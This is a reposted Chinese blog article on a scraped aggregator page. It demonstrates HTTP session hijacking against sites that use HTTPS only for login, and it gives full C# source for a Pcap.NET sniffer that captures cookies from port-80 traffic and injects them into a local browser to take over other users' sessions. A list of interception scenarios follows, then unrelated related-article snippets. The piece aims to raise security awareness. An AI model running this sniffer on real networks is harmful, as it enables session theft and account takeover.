看完48秒动画,让你不敢再登录HTTP网站(附完整示例代码)

news/2024/5/20 14:21:29/文章来源:https://blog.csdn.net/weixin_30588907/article/details/96813755

原文转至:http://www.cnblogs.com/baibaomen/p/http-session-hijack.html

在我的 单点登录SSO示例代码 一文中,强烈不建议部署HTTP的SSO服务站点。

在此写个基于网络包嗅探的HTTP会话劫持程序,给大家一个直观的危害性展示。

示例中,我在一台Mac上登录58同城,被另一台Windows上的程序劫持。“黑客”查看我的信息畅行无阻,还顺手改了我的头像。

先直接上演示动画吧,48秒:

原文地址:HTTP会话劫持示例-单点登录SSO

58同城的用户登录是采用了HTTPS的,仍然逃不过会话劫持。大部分较规范的网站,都是类似模式:登录采用HTTPS,主要流量走HTTP。

随手测试发现,使用该模式的站点,包括csdn、qq邮箱(是的它竟然还有http版的)等等,很多都未做到会话劫持免疫。博客园其实也中招了,但它把敏感操作都放到了HTTPS,所以没太多影响。

其实,对于用HTTP走流量、HTTPS走认证的站点,略施改造,是可以对会话劫持免疫的。各大网站可以自行下载我的程序自查是否存在缺陷,我可以提供针对性免疫补丁支持。

 

以下是该示例的主要代码,蛮简单,引用了Pcap.NET组件,需要对应安装WinPcap。基于该组件的网络数据包嗅探,只是做会话劫持的一种途径,而且有应用局限性,所以示例代码更多是一个演示程序而非黑客工具。下面会具体讲到。

想跟进最新代码的还请watch我github上源码:https://github.com/baibaomen/Baibaomen.HttpHijacker

复制代码
using PcapDotNet.Core;
using PcapDotNet.Packets;
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;namespace Baibaomen.HttpHijacker
{public partial class FormHijacker : Form{/// <summary>/// 被嗅探到的各个设备的cookie集合。/// </summary>ConcurrentDictionary<string, ConcurrentDictionary<string, string>> clientCookies = new ConcurrentDictionary<string, ConcurrentDictionary<string, string>>();public FormHijacker(){InitializeComponent();}private void FormHijacker_Load(object sender, EventArgs e){StartHijack();}public void StartHijack(){Task.Run(delegate {IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine;if (allDevices.Count == 0){MessageBox.Show("未找到网卡。请确认已安装WinPcap。");return;}foreach (var selectedDevice in allDevices){Task.Run(delegate{PacketCommunicator communicator =selectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000);if (communicator.DataLink.Kind != DataLinkKind.Ethernet){return;}using (BerkeleyPacketFilter filter = communicator.CreateFilter("tcp and dst port 80")){communicator.SetFilter(filter);}communicator.ReceivePackets(0, PacketHandler);});}this.BeginInvoke(new EventHandler(delegate {lbMsg.Text = "监听已启动";}));});}private void PacketHandler(Packet packet){try{var sourceIP = packet.Ethernet.IpV4.Source.ToString();var http = packet?.Ethernet?.IpV4?.Tcp?.Http;if (http == null || http.Header == null) return;if (http.IsRequest && http.IsValid){String msg = http.Decode(Encoding.UTF8);//只截获网页正文请求。if (!string.IsNullOrEmpty(msg)){var lines = msg.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);var host = lines.FirstOrDefault(x => x.StartsWith("Host: "))?.Substring("Host: ".Length);var cookie = lines.FirstOrDefault(x => x.StartsWith("Cookie: "))?.Substring("Cookie: ".Length);if (string.IsNullOrEmpty(host)) return;if (!string.IsNullOrEmpty(cookie)){var cCookies = clientCookies.GetOrAdd(sourceIP, new ConcurrentDictionary<string, string>());cCookies.AddOrUpdate(host, cookie, (key, oldVal) => cookie);}if (msg.StartsWith("GET ") && (msg.Contains("\nAccept: text/html") || msg.Contains("\nAccept: text/plain")))//筛除对资源文件等的请求,让数据更干净。{var pathAndQuery = lines[0].Substring(0, lines[0].LastIndexOf(" HTTP/")).Substring("GET ".Length);this.BeginInvoke(new EventHandler(delegate {lstSessions.Items.Insert(0, $"{sourceIP}\t{DateTime.Now}\thttp://{host + pathAndQuery}");}));}}}}catch//可能嗅探数据不完整,丢弃。{}}[DllImport("wininet.dll", CharSet = CharSet.Auto, SetLastError = true)]public static extern bool InternetSetCookie(string lpszUrlName, string lbszCookieName, string lpszCookieData);private void btnHijack_Click(object sender, EventArgs e){var selected = lstSessions.SelectedItem;if (selected == null){MessageBox.Show("请选择待劫持会话");return;}var segments = selected.ToString().Split('\t');var ip = segments[0];var url = segments[2];var cookies = clientCookies[ip];foreach (var domainCookie in cookies) //将cookie设置为浏览的cookie {foreach (var item in domainCookie.Value.Split(';')){try{var name = item.Substring(0, item.IndexOf('=')).Trim();var value = item.Substring(item.IndexOf('=') + 1);InternetSetCookie("http://" + domainCookie.Key,name,value + ";expires=" + DateTime.UtcNow.AddMinutes(10).ToString("R"));}catch { }//有不符合格式的数据。可能嗅探数据不完整,丢弃。}}if (lstSessions.SelectedItem != null){Process.Start("iexplore.exe", url);}}}
}
复制代码

 

会话劫持可以在发生在不少地方/途径:

  1. 通过专门设置的路由器/交换机;所有Hub;同一台物理机上的虚拟机
  2. 所有上网代理
  3. 可被ARP攻击的局域网络
  4. 不安全的无线网络
  5. 网络运营商具备劫持能力。以前访问http网站,常常能看到网络运营商注入的广告,这说明它是在解析HTTP数据的

可见能够发生会话劫持的场景比较广。

本示例采用的是上述第一个途径,该途径有较大局限性。这是因为,现在除了部分单位或学校还在用廉价的Hub,大部分是通过路由器、交换机接入网络的。对此只有在支持的设备上特别配置并指定的机器,才能嗅探到其它机器的数据包。

对于同一台物理机上的虚拟机,因为它们对应一块物理网卡,所以无需交换机、路由器上做设置,就能嗅探到彼此数据。使用虚拟机环境是一个运行本示例的快捷途径。

转载于:https://www.cnblogs.com/zhy-1992/p/6871693.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_790758.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

阿里云免费SSL数字证书,实现网站Https化

关于http和https不再赘述&#xff0c;参考: https://mp.weixin.qq.downloadcom/s/3NKOCOeIUF2SGJnY7II9hA 说在最前&#xff1a; 在阿里云购买的域名可以免费使用一年免费的SSL证书1. 获取阿里云免费证书方法 https://jingyan.baidu.com/article/6f2f55a17519f1b5b83e6c6b.html…

网站关键词布局设置,这样添加关键词排名很容易上来!

搜索引擎对你站点的识别、抓取、收录等流程都为机器操作&#xff0c;因此他们会识别本文或本站的目标关键词&#xff0c;咱们把这些关键词布局好&#xff0c;很容易会把网站排名给坐上来。为何这么说呢&#xff0c;今天咱们来谈谈网站关键词的布局设置。 拿着本站有排名的一篇文…

jenkins如何构建C#代码写的网站

纯粹是因为同事习惯了写C#代码&#xff0c;开发的网站用C#编译&#xff0c; 对于习惯了用Maven编译的测试人员&#xff0c;真是一头雾水。不用jenkins吧&#xff0c;效率特别低&#xff0c;每次收到开发发过来的版本&#xff0c;还要进行数据库相关配置&#xff0c;是非常累人的…

1080*1920 下看网站很爽

转载于:https://www.cnblogs.com/waynebaby/archive/2009/10/28/1591651.html

[导入]XmlHttp异步获取网站数据的例子

XmlHttp异步获取网站数据的例子文章来源:http://blog.csdn.net/net_lover/archive/2004/07/06/35220.aspx 转载于:https://www.cnblogs.com/zhaoxiaoyang2/archive/2004/07/06/816118.html

Block Site – Chrome™ 网站拦截程序

Block Site – Chrome™ 网站拦截程序 Block Site网站拦截程序的简介Block Site网站拦截程序的功能Block Site网站拦截程序的优点摘要&#xff1a;Block Site 是一款浏览器扩展程序&#xff0c;可让您根据定义的参数拦截特定网站。Block Site 维护和更新一个含有成人内容的已知…

一步步构建大型网站架构

之前我简单向大家介绍了各个知名大型网站的架构&#xff0c;MySpace的五个里程碑、Flickr的架构、YouTube的架构、PlentyOfFish的架构、WikiPedia的架构。这几个都很典型&#xff0c;我们可以从中获取很多有关网站架构方面的知识&#xff0c;看了之后你会发现你原来的想法很可能…

代码编程在线运行网站

目录 菜鸟工具 Dotcpp在线编译 代码测试 代码在线运行工具 在线工具 在线HTML/CSS/JavaScript代码运行工具 菜鸟工具 支持绝大部分语言的在线编译和运行 Dotcpp在线编译 支持的语言较少&#xff0c;有C&#xff0c;C&#xff0c;Java&#xff0c;Python以及PHP。 代码测试…

年度盛宴:2012年最佳25个响应式网站设计作品《上篇》

2012年&#xff0c;响应式网站设计成为主流&#xff0c;这个概念由著名网页设计师 Ethan Marcotte 在2010年5月份提出&#xff0c;其目标是要让设计的网站能够响应用户的行为&#xff0c;根据不同终端设备自动调整尺寸。 响应式设计不再只是一个概念&#xff0c;众多大公司也把…

Apache中如何设置网站默认首页

Apache中如何设置网站默认首页方法11111111111111111111111 步骤: 1)打开apache\conf\extra\httpd-vhosts.conf 2)在 VirturalHost标签对中输入DirectoryIndex index.php //index.php即为网站默认首页 <VirtualHost *:80>DocumentRoot D:\www\abcServerName www.abc.…

推荐有关git的一张图片和2个网站

来源&#xff1a;http://roclinux.cn [正文开始] 一张描述git数据迁移的示意图&#xff0c;很清晰&#xff0c;对于理解git的命令很有帮助&#xff0c;转发分享在这里&#xff1a; 另外&#xff0c;有2个git的网站&#xff0c;推荐给大家&#xff1a; 1 gitready&#xff1a;配…

VAST2.0视频广告投放解决方案改变视频网站未来技术格局

转载&#xff1a;http://www.ipinyou.com.cn/UI/technicalnews/201203/VAST2_0.html 日前&#xff0c;国内最领先的人群定向广告技术公司品友互动宣布&#xff0c;正式推出针对视频网站采用VAST 2.0 标准的视频广告投放解决方案。 这是中国第一家采用视频广告VAST 2.0标准的网络…

转:大型网站后台架构的演变

大型网站后台架构的演变 随着用户访问量的不断增加&#xff0c;网站的后台也会不断变化以应对需求。本文主要从一个小型网站到大型网站的过度与变化来陈述。 1.1 网站后台架构 主要指由web server 、应用服务器、数据库、存储、监控等组成的网站后台系统。 1.2 架构演变 个人站…

Python:抓取百度SERP搜索结果页的网站标题信息

比如&#xff0c;你想采集标题中包含“58同城”的SERP结果&#xff0c;并过滤包含有“北京”或“厦门”等结果数据。 该Python脚本主要是实现以上功能。 其中&#xff0c;使用BeautifulSoup来解析HTML&#xff0c;可以参考我的另外一篇文章&#xff1a;Windows8下安装Beautiful…

在IIS中某一个网站启用net.tcp

绑定 高级设置 http和net.tcp用逗号分隔 //擦擦擦&#xff0c;见鬼了&#xff0c;下面的是tcp.net导致我找了好久&#xff0c;都找不出这个错误 //一定要注意&#xff0c;不要写错了。 否则会收到提示&#xff1a;找不到具有绑定 NetTcpBinding 的终结点的与方案 net.tcp 匹配…

镇江php开发,myweb 我的家乡镇江,web技术开发的网站,三层架构,5大模块设计 WEB(ASP,PHP,...) 238万源代码下载- www.pudn.com...

文件名称: myweb下载收藏√ [5 4 3 2 1 ]开发工具: HTML文件大小: 8226 KB上传时间: 2015-04-11下载次数: 0提 供 者: min详细说明&#xff1a;我的家乡镇江&#xff0c;web技术开发的网站&#xff0c;三层架构&#xff0c;5大模块设计-My hometown of Zhenjiang, web tec…

Linux-某电商网站流量劫持案例分析与思考

【前言】 自腾讯与京东建立了战略合作关系之后&#xff0c;笔者网上购物就首选京东了。某天在家里访问京东首页的时候突然吃惊地发现浏览器突然跳到了第三方网站再回到京东&#xff0c;心里第一个反应就是中木马了。 竟然有这样的事&#xff0c;一定要把木马大卸八块。 【原因排…

关键词词云怎么做_seo关键词优化怎么做?实用技巧有哪些?

随着互联网的快速发展&#xff0c;网站不再是辅助品&#xff0c;已经成为很多企业线上营销推广的“必需品”&#xff0c;所以对很多企业来说网站是必不可少的&#xff0c;因为网站能够更好地协助传统宣传模式&#xff0c;做到线下线上相结合&#xff0c;就可以扩大影响力及提升…

扬子石墨:“网站”这张名片让我们和客户的沟通更高效

空谷网站建设已有10多年经验&#xff0c;积累了良好的业内口碑。目前公司主要业务包含高端定制网站和saas云定制建站产品均有在云市场销售。借助阿里云强大的云计算能力和平台资源&#xff0c;空谷秉承“建有价值的网站”理念&#xff0c;为全国更多的中小企业提供一站式建站服…

卢松松博客模板php版,新版卢松松博客模板zblogphp版 适合seo功能强大 ZBlog自适应模板...

卢松松博客主题高级版&#xff0c;博客版和购物功能的完美结合&#xff0c;ZBlog自适应模板注意zblog有两个版本。一个是asp一个是php。asp问题多&#xff0c;插件少&#xff0c;升级慢。所以很多人都使用php。这套模板可以说是最好的卢松松博客模板。不懂安装可以加我q后端可以…